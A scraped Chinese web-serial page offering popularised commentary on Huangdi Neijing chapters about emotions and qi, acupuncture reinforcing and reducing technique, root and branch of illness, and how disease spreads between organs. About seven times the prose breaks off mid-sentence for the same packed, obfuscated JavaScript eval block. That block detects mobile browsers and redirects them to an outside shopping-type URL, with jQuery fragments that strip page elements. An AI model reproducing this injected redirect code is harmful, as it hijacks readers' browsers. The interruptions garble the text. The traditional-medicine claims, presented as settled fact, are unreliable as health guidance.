岐伯说：人如果过度喜乐，则气易下陷；过度悲哀，则气易消散，气消散则血行迟缓，脉道空虚，我们不妨从中医的情志与脏腑、气血关系来细细品味。 中医讲究“情志致病”，认为人的情绪状态会直接影响到脏腑功能和气血运行。过度喜乐，如同春日里过盛的阳光，虽然温暖人心，却也易使体内之气过度升发而失去平衡，导致“气易下陷”，就像是吹得过大的气球，突然失去了支撑而塌陷。 而过度悲哀，则如同秋风扫落叶，带来一片萧瑟与凄凉。悲哀之情过甚，会耗散心气，使得原本应该运行流畅的气机变得涣散无力，即“气易消散”。气为血之帅，气行则血行，气若消散，血行自然迟缓，如同河流失去了水的推动，变得缓慢甚至停滞，最终导致“脉道空虚”，即血脉中气血不足，难以充盈脉道。 至于“如果病人在吃生冷的饮食，寒气乘虚而充满于经脉，就会使血气滞涩”，这更是中医“外邪入侵”理论的生动体现。当人体正气不足，尤其是气血虚弱之时，外界的寒气便容易乘虚而入，侵袭人体。生冷的饮食，正是寒邪入侵的一个常见途径。寒气入体后，会凝滞血脉，使得原本就运行不畅的气血更加滞涩，加重病情，形成所谓的“虚症”。 黄帝说已医经上所说阳虚则产生外寒，阴虚则产生内热，阳盛则产生外热，阴盛则产生内寒，我也听过这种说法，但不知道其中是什么原因？ 岐伯说：诸阳之气都是受气于上焦，以温煦皮肤分肉之间，实际上是在阐述中医理论中关于阳气的分布、功能及其与外界环境相互作用的重要观点。 在中医理论中，上焦作为阳气生发与汇聚之地，如同太阳之于大地，源源不断地为身体提供温暖与活力。这些阳气通过经络血脉的输送，遍布全身，特别是对皮肤与肌肉之间的间隙，起到了重要的温煦作用，使我们能够抵御外界的寒冷侵袭。 然而，当外界的寒气过于强大或我们自身的防护机制出现问题时，寒气就有可能乘虚而入，侵扰我们的身体。这时，上焦的阳气可能会受到压制，无法顺畅地宣发至体表，导致阳气在外达的过程中受阻，无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428772|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法充分发挥其温煦作用。这样一来，寒气就更容易在肌肤表面滞留，形成“外寒束表”的局面。 在这种情况下，人体为了抵御寒气的进一步侵袭，会不由自主地产生一系列反应，如怕寒战栗等。这些反应实际上是身体在调动自身的防御机制，试图通过增加肌肉活动、产生热量等方式来对抗外界的寒冷。 因此，这段话不仅揭示了人体阳气与外界环境之间的密切关系，还提醒我们在日常生活中要注意保暖防寒，避免寒气侵扰身体。同时，也为我们理解中医理论中关于阳气的生理功能及其病理变化提供了重要的线索。 黄帝问：阴虚则产生内热是怎么回事呢？ 岐伯说：过度劳倦则伤脾”，这不仅仅是一句简单的警世恒言，而是深刻揭示了人体生理机能与日常行为之间的微妙平衡。 想象一下，我们的身体就像一台精密的机器，各个部件协同工作，才能保持整体的顺畅运行。而脾脏，作为这台机器中的“后勤部长”，主要负责运化水谷精微，将这些营养物质输送到全身各处，以滋养我们的身体。然而，当这台机器长时间超负荷运转，也就是我们过度劳累时，脾脏这位“后勤部长”就会感到力不从心，出现“脾虚”的情况。 脾虚一旦形成，就像是后勤补给线出现了问题，原本应该顺畅运行的气机就会受到影响，变得衰少无力。这样一来，水谷精微的转输和布化就会受到阻碍，导致“上交不能宣发五谷气味，下脘不能布化水谷之精”。这种上下不通、内外不和的状态，正是身体机能失调的表现。 这章没有结束，请点击下一页继续阅读！ 第28章 （12）针刺补泻技巧全解析：从理论到实战的精准运用 黄帝问当阴与阳相混杂，气与血相混杂疾病已形成时应该怎样进行刺治呢？ 岐伯说：“刺治此病应取其经髓，并刺脉中营血和脉外卫气”。这实际上是中医针灸疗法中“调和营卫，疏通经络”的精髓所在。经髓，指的是经络系统中的深层部分，是气血汇聚、脏腑功能体现的关键。而营血与卫气，则是中医理论中构成人体基本生命活动的两大物质基础，营血内行于脉中，滋养全身；卫气外护于体表，防御外邪。通过针刺特定穴位，以达到调和营卫、疏通经络、扶正祛邪的目的，是中医针灸治疗的基本原则。 我们“根据病人形体的肥瘦，高矮，四时气候的寒热温凉，确定针刺的次数多少和取穴部位的高低”，这则体现了中医“三因制宜”的治疗理念，即因时、因地、因人制宜。形体肥瘦、高矮不同，人体的气血分布、经络走行也会有所差异，因此针刺时需要根据患者的具体情况来调整针刺的深度、角度以及选穴的位置。同时，四时气候的变化也会影响人体的生理机能，如冬季寒冷，人体阳气内敛，针刺时应注重温阳散寒；夏季炎热，人体阳气外浮，针刺时则需注意清热解暑。这种个性化的治疗方案，正是中医针灸魅力之所在。 黄帝问：血气和邪气混杂疾病已经形成，阴阳失去了平衡。刺治时应该怎样用补和泻法呢？ 岐伯说：泻实证时应在气盛的时候进针”。揭示了针灸治疗中的时间选择艺术，更蕴含了中医“顺应自然，因势利导”的治疗哲学。 想象一下，当人体处于气盛之时，正如江河之水汹涌澎湃，此时若以针灸之针为引导，顺其势而泻之，则邪气得以随气而出，门户大开，病邪自散。岐伯所言的“病人吸气时进针，使针与气同时入内”，正是利用了人体呼吸时气的流动规律，将针灸治疗与人体自然生理节律相结合，以达到最佳的治疗效果。 而“刺其腧穴，以开放邪气外泄的门户”，则是针灸治疗中的具体操作手法。腧穴，作为经络之气输注于体表的特殊部位，是针灸治疗的关键点。通过针刺腧穴，可以激发经气，疏通经络，进而达到调和气血、扶正祛邪的目的。而“开放邪气外泄的门户”，则形象地描述了针灸治疗后，病邪得以从体内排出的过程。 “病人呼气时出针，使针与气同时外出”，这一操作则体现了针灸治疗中的“关门”艺术。在邪气得到有效宣泄之后，及时出针，避免邪气再次入侵，同时也有助于人体正气的恢复与巩固。这样即可使精气不受伤，又能使邪气外泄”的针刺原则，正是中医针灸疗法中“泻法”的精髓所在。 所谓“泻法”，即通过针刺手法，使体内的邪气得以外泄，同时又不伤及人体的正气，达到治疗疾病的目的。 在实施“大泻”这种较为强烈的泻法时，确实需要特别注意针刺的细节与技巧。正如您所说，“针刺时还要使针孔不要闭塞，以排泄邪气”，这是为了确保邪气能够顺畅地通过针孔排出体外。而“摇大其针孔，通力邪气外出的道路”，则是一种特殊的手法，通过轻微的摇动针体，使针孔周围的皮肤组织得到一定程度的松弛，从而拓宽邪气外泄的通道，增强泻邪的效果。 至于出针时的操作，“先以左手轻轻切按针口周围，然后迅速出针”，这一步骤同样至关重要。左手的切按不仅有助于固定针体，防止在出针时造成不必要的损伤，更重要的是，它能够引导正气回归，同时帮助抗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428773|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盛的邪气随着针体的拔出而逐渐消散。这种“先按后出，引导正气”的手法，体现了中医针灸治疗中的“和”与“顺”的理念。 综上所述，中医针灸疗法中的“大泻”法，不仅要求操作者具备精湛的技艺与深厚的理论基础，更需要一种对生命之气的敬畏与尊重。只有这样，才能在治疗疾病的同时，保护好人体的精气神，达到“治病不伤身”的理想境界。 黄帝问补虚的方法又是怎么样了呢？ 岐伯说：以手持针，不要立即刺入，先安定神气，等到病人呼气时进针，正是中医针灸治疗前准备与进针时机的精妙体现。 首先，“以手持针，不要立即刺入”，这一步骤看似简单，实则至关重要。它要求针灸医师在进针之前，先稳定自己的心神，保持专注与平静，以确保接下来的操作能够准确无误。同时，也是对病人的一种尊重与关怀，让病人感受到医师的沉稳与信心，从而放松心情，配合治疗。 接下来，“先安定神气，等到病人呼气时进针”，这是中医针灸中“因时制宜”治疗原则的具体应用。人体在呼气时，气机向外发散，此时进针，可以顺应人体气机的自然流动，减少针刺时的阻力与不适感。同时，也体现了中医“治神”的思想，即通过调节病人的心理状态，来提高治疗效果。 而“气呼出来了，针也就已经进去了”，这句话则形象地描述了进针时机的把握与操作的流畅性。当医师敏锐地捕捉到病人呼气的瞬间，迅速而准确地将针刺入穴位，整个过程仿佛与病人的呼吸节奏融为一体，达到了“针人合一”的境界。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 第29章 标本病传论篇 在中医学的浩瀚宇宙中，标本这一概念确实如同星辰般璀璨，其含义之深邃，应用之广泛，足以让每一位探索者都感到既神秘又着迷。首先，我们得明确，标本在这里并非简单指实验室里那些供学习研究的动植物或人体组织切片，而是中医学理论体系中的一个核心概念，它蕴含着深刻的哲学思想与诊疗智慧。 本与标的哲学思辨：在中医学看来，世间万物皆可一分为二，互为表里，标本亦是如此。从病机与病状的角度讲，“本”指的是疾病的根本原因或主要矛盾，是病之根源所在，如体质偏颇、脏腑功能失调等；“标”则指的是疾病的外在表现或次要矛盾，即我们所能观察到的症状，如寒热、虚实、疼痛等。这种区分，旨在引导医者透过现象看本质，治病求本，而非仅仅停留在对症状的对症治疗上。 旧病与新病的视角：当从病程长短来审视时，“本”可理解为长期存在的慢性疾病，其病程长，病情复杂，治疗难度大，需从整体上调理；“标”则指新近发生的疾病或慢性疾病急性发作时的主要矛盾，此时需急则治标，先缓解当前紧急症状，再图长远治疗。 医患关系的隐喻：至于“本指病人则标指医生”这一说法，虽非传统中医理论中的直接表述，但却蕴含了深刻的医患关系哲理。病人作为疾病的承载者，是治疗的主体与“本”，而医生则是通过专业技能与人文关怀来辅助病人恢复健康的“标”。这里的“标”并非指次要或附属，而是强调在诊疗过程中，医生应始终围绕病人的实际需求与身心健康为核心，进行精准施治。 在探讨“病传”这一中医理论中的重要概念时，我们仿佛是在翻阅一本古老而深邃的医学典籍，每一页都记录着疾病在人体内复杂多变的历程。病传，简而言之，就是疾病在人体内部发生、发展、变化并可能转移的过程。这一过程不仅体现了疾病本身的动态特性，也深刻反映了人体脏腑经络之间相互依存、相互制约的密切关系。 在中医看来，人体是一个有机整体，五脏六腑、四肢百骸通过经络系统紧密相连，共同维持着生命活动的正常运行。当人体受到外邪侵袭或内在脏腑功能失调时，便会产生疾病。而疾病的传变转移，则是这种失衡状态在人体内部不断演化的结果。 具体来说，病传可以表现为多种形式： 1. 顺传与逆传：根据疾病传变的自然规律，某些疾病可能按照既定的路径在脏腑之间传变，如温病中的卫气营血传变。其中，符合生理顺序的传变称为顺传，而违背生理顺序的传变则称为逆传，逆传往往预示着病情更为凶险。 2. 表里传变：疾病可以从体表（如皮毛、肌腠）传入体内（如脏腑），也可以由体内传至体表。这种表里之间的传变，反映了疾病深浅轻重的变化。 3. 脏腑传变：疾病在脏腑之间的传变，是病传中最常见的形式。它可能遵循五行相生相克的规律，也可能受到体质、年龄、治疗干预等多种因素的影响。 4. 经络传变：经络作为气血运行的通道，也是疾病传变的重要途径。疾病可以通过经络的传导，影响远端部位的功能，甚至引起全身症状。 本篇所论以标本病传传两个方面的内容为主，故名标本病传论。 一、疾病诊治过程中的标本和逆从理论 在中医的浩瀚学海中，标本与逆从理论如同航海中的灯塔，为医者指引着疾病诊治的方向。这里的“标本”，并非指实体上的大小或轻重，而是指疾病的主要矛盾与次要矛盾，或是病因与症状之间的关系。简单来说，标是疾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428774|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病的外在表现，而本则是导致这些表现的内在根源。逆从，则是指治疗时应当遵循的顺逆原则，即“逆其病势而治之”或“从其病性而调之”。 在诊治过程中，医者需具备敏锐的洞察力，能够准确辨析疾病的标本关系，做到“治病必求于本”。同时，还需灵活运用逆从理论，根据病情的轻重缓急、患者的体质差异等因素，制定个性化的治疗方案。如此，方能精准施治，使疾病得以有效控制，乃至根治。 二、各脏腑发生病变后的传变规律和预后 人体之脏腑，各司其职，相互依存，共同维持着生命活动的正常进行。然而，当某一脏腑发生病变时，往往会通过经络、气血等途径，影响到其他脏腑的功能，形成复杂的传变关系。这种传变规律，不仅体现了疾病在人体内部的动态变化过程，也为医者预测病情发展、判断预后提供了重要依据。 具体来说，脏腑病变的传变规律往往遵循五行相生相克的原理。例如，肝病可传脾（木克土），心病可传肺（火克金）等。但需要注意的是，这种传变并非绝对，其实际发生还受到多种因素的影响，如患者的体质、年龄、治疗干预等。 在判断预后时，医者需综合考虑疾病的性质、病位、病程长短、患者体质以及治疗情况等多方面因素。一般来说，正气充足、病邪较轻、治疗及时得当者，愈后多佳；反之，则愈后不良。此外，医者还需关注疾病传变过程中的关键节点，及时采取措施截断病势，以防病情恶化。 总之，疾病诊治过程中的标本和逆从理论，以及各脏腑发生病变后 的传变规律和预后判断，是中医临床诊疗中的重要内容。它们不仅体现了中医的整体观念和辨证论治精神，也为医者提供了宝贵的诊疗思路和参考依据。 第29章 （1）疾病诊治过程中的标本和从逆理论 黄帝问道疾病有标病和本病的分别，刺法有逆治和从治的不同，这是什么意思呢？ 岐伯说：“针刺的准则，必须辨别疾病的阴阳属性”，在中医看来，万物皆分阴阳，疾病亦不例外。辨别阴阳，即是区分病性的寒热虚实，为后续的治疗定下基调。 “把病情的前期和后期联系起来研究”，因为疾病并非孤立存在，其发展变化有着自身的规律，前期多为标象，后期则可能深入本源。因此，医者需具备预见性，从疾病的全局出发，把握其发展趋势。 在疾病的治疗中，逆治与从治这两种看似矛盾实则统一的治疗方法，恰如太极图中的阴阳两极，相互依存，共同演绎着中医治疗的智慧与精妙。 逆治，顾名思义，便是逆其病性而治，如同武侠小说中的“以毒攻毒”，但更加精准与深邃。当人体遭受寒邪侵袭，出现寒证时，我们便用温热之性的药物或疗法来驱散寒邪，恢复机体的温暖平衡，这便是“寒者热之”的逆治之法。反之，若体内热邪炽盛，引发热证，我们便以寒凉之药来清热解毒，这便是“热者寒之”的又一例证。逆治之法，直接针对病邪的性质进行干预，力求迅速扭转病势，恢复机体的正常状态。 而从治，则是另一种境界，它要求医者顺应病势，采取看似与病势相同实则另有所图的治疗策略。比如，在患者出现因虚致实的便秘情况时，我们并不急于使用峻猛的泻药，而是采用补益之法，增强肠道的推动力，从而达到开塞通便的效果，这便是“以补开塞”的从治之道。同样，对于因实邪阻滞导致的经络不通，我们也不急于强行疏通，而是先以药物或手法调理气血，使实邪得以化解，经络自然畅通无阻，这便是“以通治塞”的深邃智慧。 在中医的博大精深中，逆治与从治这对看似矛盾实则和谐的治疗策略，正如太极图中的阴阳鱼，相互缠绕，共同绘就了中医治疗的壮丽画卷。它们不仅各自精彩，更在相互配合中展现出中医独有的灵活与智慧。 逆治，如同夏日午后的雷阵雨，来得迅猛而直接，直击病邪的要害。当外邪入侵，机体正气奋起抗争，形成明显的病理状态，如寒、热、实、虚等，逆治便以其鲜明的针对性，采取与病邪性质相反的治疗方法，迅速打破病邪的嚣张气焰，为机体恢复健康赢得宝贵时间。这种“以毒攻毒”、“以寒制热”的策略，虽看似激烈，却蕴含着中医“治病求本”的深刻哲理。 而从治，则更像是春日里绵绵不绝的细雨，悄无声息地滋养着万物，也悄悄地调整着机体的状态。在中医看来，人体是一个复杂的动态平衡系统，有时病邪虽显，但实则正气已虚，此时若强行攻伐，恐伤正气，反而不利。因此，从治采取顺应病势的策略，或补其不足，或通其淤滞，在看似与病势同流合污的表象下，实则是在为机体创造一个有利于自我修复的环境。这种“顺水推舟”、“借力打力”的智慧，正是中医“治未病”思想的体现。 逆治与从治，一刚一柔，一快一慢，看似相悖，实则相辅相成。它们如同中医治疗天平上的两端，根据病情的不同阶段和患者的具体情况灵活调整，确保治疗始终在最佳状态下进行。这种灵活性与智慧，正是中医历经数千年而不衰的奥秘所在。 灵活处理治疗中治标和治本的关系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428775|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”无疑是其精髓之一，它要求医者如同下棋高手，每一步都需深思熟虑，既要顾全大局，又要灵活应变。标本理论，就像是指引医者行舟于疾病海洋中的灯塔，让治疗之路既有方向，又不失灵活。 面对疾病的挑战，医者首先要做的，便是运用其深厚的医学功底和敏锐的观察力，对病情的轻重缓急做出准确的判断。这就像是战场上的指挥官，需迅速分析敌我态势，制定出最合理的战略战术。急则治标，便是这一策略在中医治疗中的生动体现。比如，当患者出现高热惊厥等急症时，若不及时降温，恐有生命危险，此时便需先治标，迅速采取降温措施，以稳定病情，为后续治疗赢得时间。 然而，中医治疗的智慧远不止于此。在急症得到初步控制后，医者还需进一步探寻疾病的根本所在，即“治本”。对于慢性虚劳病等需要长期调养的疾病，治本便显得尤为重要。医者会根据患者的体质、病情及生活习惯等多方面因素，制定出一套个性化的调养方案，旨在从根本上改善患者的身体状况，增强机体抵抗力，从而达到预防疾病复发的目的。 更为复杂的是，有时还会出现“有的病在本却治标”或“有的病在标却治本”的情况。这要求医者不仅要具备深厚的医学知识，还需有高度的洞察力和判断力。比如，在某些情况下，本病虽重但治疗难度大或治本可能伤及正气，此时便需先治标以安其急，待正气恢复后再行治本。而在另一些情况下，标症虽显但实则源于本病，此时若只治标而不治本，则无异于扬汤止沸，唯有治本方能除根。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 第29章 （2）权威解读 标本病全面治疗原则 关于阴阳与逆从标本的道理，这是中医理论中的瑰宝，它如同一把钥匙，能够引领我们打开疾病认知的大门，从微观到宏观，从局部到整体，逐步揭示生命的奥秘。 “阴阳”二字，听起来玄之又玄，实则蕴含了宇宙间最朴素的哲学思想——对立统一、相互依存、相互转化。在中医看来，人体内的各种生理病理现象，都可以用阴阳来概括和解释。而“逆从标本”，则是指导我们如何根据阴阳的变化，来判断疾病的性质、部位、轻重缓急，从而制定出相应的治疗策略。 从阴阳标本逆从的道理中就可以知道许多疾病的利害关系”。中医讲究“治病必求于本”，而“本”往往就隐藏在阴阳失衡、标本失序之中。通过细致入微的观察和分析，我们可以从一种疾病的表现中，推导出其背后的阴阳变化，进而预测出可能伴随的其他症状或并发症，实现“有少可以推多”。 “从浅显入手可以推知深微，观察目前的现象，可以了解它的过去和未来”，这更是中医智慧的体现。中医强调“上工治未病”，即高明的医生能够在疾病尚未显露之时就预见其发展趋势，并提前干预。这种能力，正是基于对阴阳标本逆从道理的深刻理解和熟练运用。 “谈论标本的道理，这两个字容易理解，但真正掌握与熟练运用就不容易做到了”。确实，中医理论博大精深，阴阳标本逆从之道更是需要长时间的学习、实践和领悟。它要求医者不仅要具备扎实的医学知识，还要有丰富的临床经验、敏锐的洞察力和深厚的文化底蕴。只有这样，才能在面对复杂多变的疾病时，做到心中有数，游刃有余。 在中医理论中“迎着病邪而泻”与“顺应精气而补”的概念，实际上蕴含了中医治疗的两大基本原则：逆治法（或称逆其病势而治）与从治法（或称顺其性而治），这两者都是基于中医整体观念和辨证论治的核心理念。 逆治法（迎着病邪而泻） 逆治法，简而言之，就是当病邪的性质与人体正气相逆，表现出实证、热证等亢奋状态时，医生采取的治疗方法会与病邪的性质或病势相逆，以泻其实、清其热，从而恢复人体的平衡。比如，对于因热邪壅盛引起的便秘，中医会采用清热泻火、润肠通便的药物，这就是典型的“迎着病邪而泻”，即逆其病势，通过泻下来消除病邪。 从治法（顺应精气而补） 而从治法，则是在人体正气虚弱，或是病邪虽在但已呈现虚象时，医生顺应人体正气或病邪本身的某些特性，采用补养、温阳等方法，帮助正气恢复，或使病邪逐渐消退。这里的“顺应精气而补”，可以理解为在患者精气不足时，给予补益，以增强其体质，提高抗病能力。比如，对于因脾肾阳虚导致的慢性腹泻，中医会采用温补脾肾的方法，这就是顺应患者体质虚弱、阳气不足的特性，进行从治。 在中医的诊疗思路中，面对复杂多变的病情，确实有着一套精细而深刻的处理原则。针对您提出的“先患某病而后发生气血逆乱”与“先气血逆乱而后生病”的情况，我们可以这样理解： 先患某病而后气血逆乱治他的本病 在这种情况下，如果原发病是导致气血逆乱的直接原因，那么治疗的首要任务自然是针对原发病进行干预。比如，一个人先得了严重的肝病，随后出现了肝气郁结、气血不畅的逆乱现象，那么治疗时就需要先针对肝病进行疏肝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428776|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解郁、调理气血，以恢复肝脏的正常功能，进而改善气血逆乱的状态。 先气血逆乱而后生病治他的本病 而对于先出现气血逆乱，随后才表现出具体疾病症状的情况，虽然表面上看似气血逆乱在前，但深入探究，往往能发现其背后隐藏着某种潜在的体质因素或生活习惯不当等根本原因。此时，治疗虽需直接针对气血逆乱的症状进行调和，但长远来看，仍需寻找并纠正导致气血逆乱的根本原因，以防病情反复或加重。 先感受寒邪而后生病治他的本病 当人体先感受寒邪，随后出现一系列病症时，如感冒、咳嗽等，中医会首先识别出这是外感寒邪所致。然而，治疗时并不仅仅局限于驱散寒邪，更重要的是要判断寒邪是否已经影响到了人体的正气，特别是脏腑功能。如果寒邪仅停留在表浅，可能通过解表散寒即可；但若已深入脏腑，导致气血凝滞、脏腑功能受损，那么治疗时就需要在散寒的同时，兼顾调理受损的脏腑功能，即“先治他的本病”。 先有病而后感受寒邪治他的本病 对于原本就有疾病在身，随后又因感受寒邪而加重病情的情况，中医同样强调“治病求本”。这里的“本”，既指原有的疾病，也指寒邪对原有疾病的影响。治疗时，首先要评估寒邪对原有疾病的影响程度，若寒邪只是加重了症状，而未改变原有疾病的本质，那么治疗重点应放在原有疾病上；但若寒邪已经引发了新的病理变化，如寒邪入里化热，与原有热病交织，那么治疗时就需要综合考虑，既要清除新生的热邪，又要治疗原有的疾病。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 第29章 （3）疾病的传遍顺序 关于肺病传变规律，您已经深入到了传统医学，尤其是中医理论的精髓之中。确实，中医强调人体是一个有机整体，脏腑之间通过经络相连，相互依存、相互制约，形成了复杂而精妙的生理病理体系。 首先，我们来谈谈肺病初期的咳嗽。在中医理论中，肺为娇脏，主气司呼吸，外合皮毛，开窍于鼻。当外邪（如风、寒、暑、湿、燥、火）侵袭人体，或内邪（如情志失调、饮食不节等产生的病理产物）上扰，首先会影响到肺气的宣发与肃降功能，导致肺气上逆，从而引发咳嗽。这是肺病最常见的早期表现，也是机体在尝试通过咳嗽这一动作来排除病邪的反应。 接下来，病邪“传变”至肝脾，进而出现胁肋胀满疼痛、身体沉重疼痛及胃脘部不适等症状，这涉及到了中医的五行学说和脏腑之间的相互关系。五行学说认为木（肝）、火（心）、土（脾）、金（肺）、水（肾）五行相生相克，维持着人体的动态平衡。在肺病传变的过程中，若病邪强盛或正气虚弱，就可能导致病邪由肺（金）传至肝（木），进而通过“木克土”的关系影响到脾。此时，患者可能会出现胁肋部（肝经循行部位）的胀满疼痛，以及因脾失健运而导致的身体沉重、疼痛和胃脘部不适等症状。 肝病的传变规律确实是一个复杂而精妙的过程，它体现了中医对人体脏腑之间相互联系、相互影响的深刻理解。下面，我将从中医的角度，为您详细阐述肝病的传变规律。 首先，肝病初起，患者常会出现头疼目眩、胁肋胀满等症状。这是因为肝主疏泄，调畅气机，若肝气郁结或肝火旺盛，则会导致气机不畅，气血逆乱，上扰清空则头疼目眩，横逆犯脾则胁肋胀满。这些症状是肝病早期的典型表现，也是机体在尝试通过自我调节来应对病理变化的过程。 随着病情的进一步发展，若肝病未得到及时有效的治疗，病邪可能会进一步“传变”，影响与肝有密切联系的脏腑。在中医五行学说中，肝属木，脾属土，木克土，因此肝病容易影响脾的功能。当肝病传入脾时，患者可能会出现身体沉重疼痛、食欲不振、腹胀便溏等症状。这是因为脾主运化，为气血生化之源，若脾失健运，则水湿内生，气血生化乏源，导致身体沉重疼痛、腹胀便溏等脾虚湿困的表现。 再往后，若病邪继续深入，还可能传入胃和肾。胃病则主要表现为腹胀、纳差、嗳气反酸等症状，这是因为胃主受纳腐熟水谷，若胃病则受纳腐熟功能失常，导致腹胀纳差等症状。而肾病则可能出现腰肌少腹疼痛、腿胫发酸等症状，这是因为肾主骨生髓，若肾病则骨髓不充，腰膝失养，导致疼痛发酸等症状。 脾病的传变规律：脾病初起，患者常会感到身体沉重疼痛。这是因为脾主运化，负责将食物和水液转化为精微物质，并将其输送到全身各处。若脾气虚弱或脾阳不振，则运化失职，水湿内生，湿邪重着黏滞，阻滞经络，导致身体沉重疼痛。这是脾病早期的典型表现，也是机体在尝试通过疼痛等信号来提醒我们注意脏腑功能失调的警示。 随着病情的进一步发展，若脾病未得到及时有效的治疗，病邪可能会进一步“传变”，影响与脾有密切联系的脏腑。在中医五行学说中，脾属土，胃亦属土，二者同气相求，关系密切。因此，脾病往往容易影响胃的功能，导致患者出现腹胀、纳差、嗳气反酸等症状。这是因为胃主受纳腐熟水谷，若胃失和降，则受纳腐熟功能失常，食物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428777|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停滞于胃中，产生胀满感。 若病邪继续深入，还可能传入肾和膀胱。在中医理论中，肾主水液代谢，膀胱为州都之官，津液藏焉，气化则能出矣。若脾病及肾，导致肾气虚弱，水液代谢失常，则可能出现少腹腰椎疼痛、腿颈发酸等症状。这是因为肾主骨生髓，肾气虚弱则骨髓不充，腰膝失养，导致疼痛发酸。同时，水液代谢失常还可能影响膀胱的气化功能，导致小便不通、经骨疼痛等症状。但需要注意的是，这里的“经骨疼痛”可能并非直接由膀胱病变引起，而是由于水湿内停、经络阻滞所致。 肾病的传变规律：首先，肾病初期，患者常会感到少妇（此处应为“少腹”，即小腹部位）腰脊疼痛、腿劲（应为“腿胫”，即小腿部位）发酸。这是因为肾主骨生髓，肾气充足则骨髓充盈，骨骼强健；肾气虚弱，则骨髓不充，腰脊失养，故见疼痛；同时，肾之经脉循行于下肢，肾气不足，经脉失养，故见腿胫发酸。这是肾病早期的典型表现，也是机体在尝试通过疼痛等信号来提醒我们注意脏腑功能失调的警示。 随着病情的进一步发展，若肾病未得到及时有效的治疗，病邪可能会进一步“传变”，影响与肾有密切联系的脏腑。在中医理论中，肾与膀胱相表里，二者在生理和病理上都有着密切的联系。因此，肾病往往容易影响膀胱的功能，导致患者出现背脊筋骨疼痛、小便不通等症状。这是因为膀胱为州都之官，津液藏焉，气化则能出矣。若肾病及膀胱，导致膀胱气化不利，水液代谢失常，则可能出现小便不通的症状；同时，水湿内停，阻滞经络，也可能导致背脊筋骨疼痛。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 第30章 天元纪大论篇 谈及“天元纪”，这是一个蕴含深厚哲学与天文医学思想的概念，它不仅仅是对宇宙万物生化本源的抽象概括，更是古代先贤们对自然界周期性变化规律深刻理解的结晶。在知乎这个知识分享的平台上，我们不妨以一种既尊重传统又融合现代视角的方式来探讨这一话题。 